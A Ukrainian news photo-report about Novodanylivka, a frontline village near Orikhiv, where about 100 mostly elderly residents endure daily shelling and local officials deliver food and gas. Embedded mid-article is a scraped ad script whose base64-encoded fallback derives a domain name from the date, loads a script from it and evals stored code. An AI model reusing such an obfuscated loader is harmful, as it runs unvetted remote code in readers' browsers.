У селі Новоданилівка, що на Оріхівщині, за три кілометри від лінії фронту продовжують жити близько 100 людей. До війни кількість населення складала 850 українців. Ворожі обстріли тут постійні, росіяни нищать кожен метр землі.
Кореспондент «Акцента» вирушив до Новоданилівки разом із старостою села Сергієм Іващишиним та депутатом Оріхівської міськради Романом Вискребенцевим. Чоловіки приїжають на передову майже щоденно, аби допомогти людям, які залишилися у Лимані. Так Новоданилівку здавна називають місцеві.
За словами Сергія Іващішина, приблизно 20% житлового сектору села зруйновано «в нуль», 15% — будинки, які не зазнали жодних пошкоджень. Серйозні руйнування можна побачити в адміністративних будівлях. Навіть під час нашого візиту постійно було чутно «свист» від прильотів та вибухи. Нам доводилося лягати на землю або шукати укриття, коли цей звук був особливо страшним і наближенним.
На питання, як люди пояснюють своє бажання залишатися в селі, староста Сергій Іващишин відповідає: «Не хочуть залишати свої домівки. В основному, залишилися пенсіонери. Все життя називали… Не хочуть це покидати».
Віктор Васильович. 86-років
«Чим треба, ми допомагаємо… Гуманітарка, все що є — веземо» — каже староста. Дійсно, під час нашої поїздки їжу та газові балони жителям села привозили прямо додому. Новоданилівці багато жартують з Романом та Сергієм, посміхаються та розповідають, що відбулося за останню добу.
Місцевий мешканець Юрій Володимирович вирішив показати чоловікам пошкодження, які відбулися кілька годин тому — знесена електроопора, її деталі були досі розпеченими.
Юрій Володимирович випромінює оптимізм та віру у перемогу, хоча його будинок вже пошкоджено з різних боків, а лише у своєму дворі він з дружиною назбирав кілограми уламки від боєприпасів. Здається, чоловік став експертом з військової тематики і може визначити вид зброї за руйнуванням або уламками.
«З 8 вечора до 12 ночі — 96 прильотів. Лежиш і рахуєш… Ближні бої бувають, чути стрілкотню» — розповідає чоловік, показуючи нам вирви та нерозірвані боєприпаси. Вони тут «на будь-який смак»: від запальних до «Смерчів», «Градів» та «Ураганів». Юрій Володимирович каже, що звик з дружиною ховатися у підвалі, коли йдуть сильні обстріли. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Чоловік каже, що їжа у місцевих є, а з водою, очікувано, виникають проблеми. Коли не було морозів, набирали зі свердловин, допомагала влада. Зараз доводиться робити більші запаси, коли є можливість. Коли ми запитали чоловіка про його моральний стан, він лише показав палець догори і сказав: «Во!».
Те, що зібрали лише в одному дворі
Староста Сергій Іващишин показав нам кабінет, де було його робоче місце до вторгнення росіян. Тут вибиті вікна, стіни посічені уламками, а на підлозі лежать речі, які колись використовували в роботі. Сергій знайшов «Подяку» з минулого життя, яку також понівечило під час обстрілів. Він вирішив забрати її додому разом з улюбленою чашкою, як важливі для себе речі. Староста підняв з підлоги державний прапор і промовив «Нічого. Все буде бомба».
У адміністративних будівлях села незадовго до війни облаштували амбулаторію для місцевих мешканців. Зараз вона зруйнована. Один із снарядів прилетів прямо до бібліотеки. Зауважимо, що поряд не було жодної військової техніки.
Роман Вискребенцев на місці чергового прильоту розповів, як проходить більшість днів з початку повномасштабного вторгнення в Новоданилівці: постійно треба ховатися у підвал, постачати продукти та вирішувати проблеми з водою і теплом.
«Ситуація, як і на початку війни на передовій. Вибухи кожного дня, кожного дня підвали, кожного дня допомога людям, які залишилися, інших варіантів немає. Постійно возимо їжу. Балони з газом заправляємо у Запоріжжі, веземо сюди. Так люди тримаються, хоч і живуть в основному в підвалах» — розповідає нам Роман.
Новоданилівка тримає опір героїчно, а витривалість та віра її людей у перемогу не знають меж. Майже кожен, кого ми зустрічали, демонстрував нам це.
Далі ми повернулися до Оріхова, де зробили фотографії місцевого Пункту Незламності, нових руйнувань та поговорили з бійцями ДСНС. Про це у наступних матеріалах. (adsbygoogle = window.adsbygoogle || []).push({});
Більше фото 
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/adrenalin-zashkalyuye-yak-na-peredovij-zhive-selo-novodanilivka-na-zaporizhzhi-fotoreportazh/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
